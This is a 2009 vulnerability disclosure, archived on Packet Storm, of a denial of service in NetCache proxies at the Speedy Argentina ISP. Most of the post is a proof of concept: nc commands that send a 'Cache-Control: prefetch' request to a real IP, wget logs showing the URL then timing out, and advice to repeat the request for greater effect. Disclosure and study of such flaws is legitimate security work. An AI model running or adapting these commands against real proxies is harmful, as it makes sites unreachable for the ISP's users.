exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NetCache Proxy Denial Of Service

NetCache Proxy Denial Of Service
Posted Sep 3, 2009
Authored by Buanzo

NetCache proxies set up the Speedy Argentina ISP appear to be vulnerable to a denial of service condition.

tags | exploit, denial of service
SHA-256 | ff7ff4c8e3c26576f3c50709507b850946f2eff0b3ad5fa0f922b05403eaa032

NetCache Proxy Denial Of Service

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Research by Hernan Pereira and associates.
No response from Speedy in the past 15 days.
Proceeding with disclosure.

A DoS vulnerability exists in NetCache proxies of at least some areas
of Speedy Argentina ISP (201.255.64/18), by which a URL could be rendered
inaccessible by means of the prefetch cache control directive.

The procedure is very simple, sending several times a simple GET
HTTP/1.1 request to the victim URL will make the proxies no longer
serve it. Users will be waiting for about two minutes and then the TCP
connection will be closed, which depending on the user agent it will
be interpreted as a valid zero-length HTTP 0.9 reply or an error.

It is worth noting that this attack affects the URL EXACTLY. For
instance, attacking http://www.google.com/ will not block
http://www.google.com./ (notice the dot before the last slash), nor
http://www.google.com/whatever neither. However, it is clear enough
that even affecting a single URL is enough to make many sites
unusable.

Since the ISP has its proxies infrastructure half-migrated to BlueCoat
proxies (which don't honor prefetch directive), this vulnerability may
look randomly observable on big sites (like Google) due to the
destination IP-based load balancing. Additionally it seems to be an
extra load balancing which makes some remote IP addresses be caught by
a BlueCoat proxy even though the same IP was handled nearly all times
by a NetCache.

This vulnerability was not present earlier but since Speedy made their
proxies unable to go out with their own IPs, the prefetch couldn't
work anymore and the NetCache proxies seems to not want to spoof the
clients' IP addresses for that URL until the prefetch is done (never).

Here it is a PoC using a Google's IP for the testing purposes, but the
same behavior would be exhibited by the victim proxy with host names:

// Lets check our target IP is handled by a NetCache:
$ printf "TRACE / HTTP/1.1\r\nHost: 74.125.65.106\r\nMax-Forwards:
0\r\nConnection: Close\r\n\r\n" | nc 74.125.65.106 80
HTTP/1.1 200 OK
Date: Mon, 17 Aug 2009 00:35:16 GMT
Content-Length: 97
Content-Type: message/http
Server: NetCache appliance (NetApp/6.0.7)
Connection: close

TRACE http://74.125.65.106/ HTTP/1.1
Host: 74.125.65.106
Max-Forwards: 0
Connection: close

//OK, it is, lets register the IP in a variable for later use:
$ GoogleHost=74.125.65.106

//Lets verify it is working now:
$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:15:05-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

[ <=> ] 5,136
32.6K/s in 0.2s

2009-08-16 21:15:05 (32.6 KB/s) - `/dev/null' saved [5136]

$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:15:07-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

[ <=> ] 5,154
- --.-K/s in 0.1s

2009-08-16 21:15:08 (35.8 KB/s) - `/dev/null' saved [5154]

$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:15:10-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

[ <=> ] 5,136
- --.-K/s in 0.01s

2009-08-16 21:15:10 (360 KB/s) - `/dev/null' saved [5136]

//Now we exploit the bug. Take in mind that for extra effectiveness it
would be better to repeat this step many times for better pollution
$ printf "GET / HTTP/1.1\r\nHost: $GoogleHost\r\nCache-Control:
prefetch\r\nConnection: Close\r\n\r\n" | nc $GoogleHost 80
HTTP/1.1 200 OK
Server: NetApp/6.0.7

//Lets try downloading the index page again:
$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:15:58-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:16:04-- (try: 2) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:16:11-- (try: 3) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:16:20-- (try: 4) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

[ <=> ] 5,118
33.0K/s in 0.2s

2009-08-16 21:16:20 (33.0 KB/s) - `/dev/null' saved [5118]

// As you can see it worked in the last try. The problem is that at
times a BlueCoat proxy may handle the request as can be seen here:
$ printf "TRACE / HTTP/1.1\r\nHost: 74.125.65.106\r\nMax-Forwards:
0\r\nConnection: Close\r\n\r\n" | nc 74.125.65.106 80
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=UTF-8
Date: Mon, 17 Aug 2009 00:12:03 GMT
Server: GFE/2.0
Content-Length: 1350
Connection: close

(Output ommited)

//Trying wget once more:
$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:17:25-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:17:31-- (try: 2) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:17:38-- (try: 3) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:17:46-- (try: 4) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:17:55-- (try: 5) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:18:05-- (try: 6) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:18:16-- (try: 7) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:18:28-- (try: 8) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:18:41-- (try: 9) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:18:55-- (try:10) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:19:10-- (try:11) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:19:25-- (try:12) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

^C

//After twelve tries it never worked. However, trying with a sightly
different URL:
$ wget http://$GoogleHost/? -O /dev/null -T 5
- --2009-08-16 21:19:41-- http://74.125.65.106/?
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

[ <=> ] 5,136
- --.-K/s in 0.1s

2009-08-16 21:19:41 (33.7 KB/s) - `/dev/null' saved [5136]

$ wget http://$GoogleHost/? -O /dev/null -T 5
- --2009-08-16 21:19:42-- http://74.125.65.106/?
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

[ <=> ] 5,136
33.1K/s in 0.2s

2009-08-16 21:19:42 (33.1 KB/s) - `/dev/null' saved [5136]

$ wget http://$GoogleHost/? -O /dev/null -T 5
- --2009-08-16 21:19:43-- http://74.125.65.106/?
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `/dev/null'

[ <=> ] 5,136
- --.-K/s in 0.01s

2009-08-16 21:19:43 (346 KB/s) - `/dev/null' saved [5136]

//Now it worked fine. Lets try again the attacked URL:
$ wget http://$GoogleHost/ -O /dev/null -T 5
- --2009-08-16 21:19:46-- http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... Read error (Connection timed
out) in headers.
Retrying.

- --2009-08-16 21:19:52-- (try: 2) http://74.125.65.106/
Connecting to 74.125.65.106:80... connected.
HTTP request sent, awaiting response... ^C

//Still inaccessible.

- --
Arturo "Buanzo" Busleiman / Arturo Busleiman @ 4:900/107
Independent Linux and Security Consultant - SANS - OISSG - OWASP
http://www.buanzo.com.ar/pro/eng.html
Mailing List Archives at http://archiver.mailfighter.net
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iEUEAREKAAYFAkqcVGoACgkQAlpOsGhXcE17RwCdH5ePNeTPmkDMOdWFDLz09MjW
WxYAl1u5qG81IS7NL67AsY1AdRPHVcU=
=+R82
-----END PGP SIGNATURE-----
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close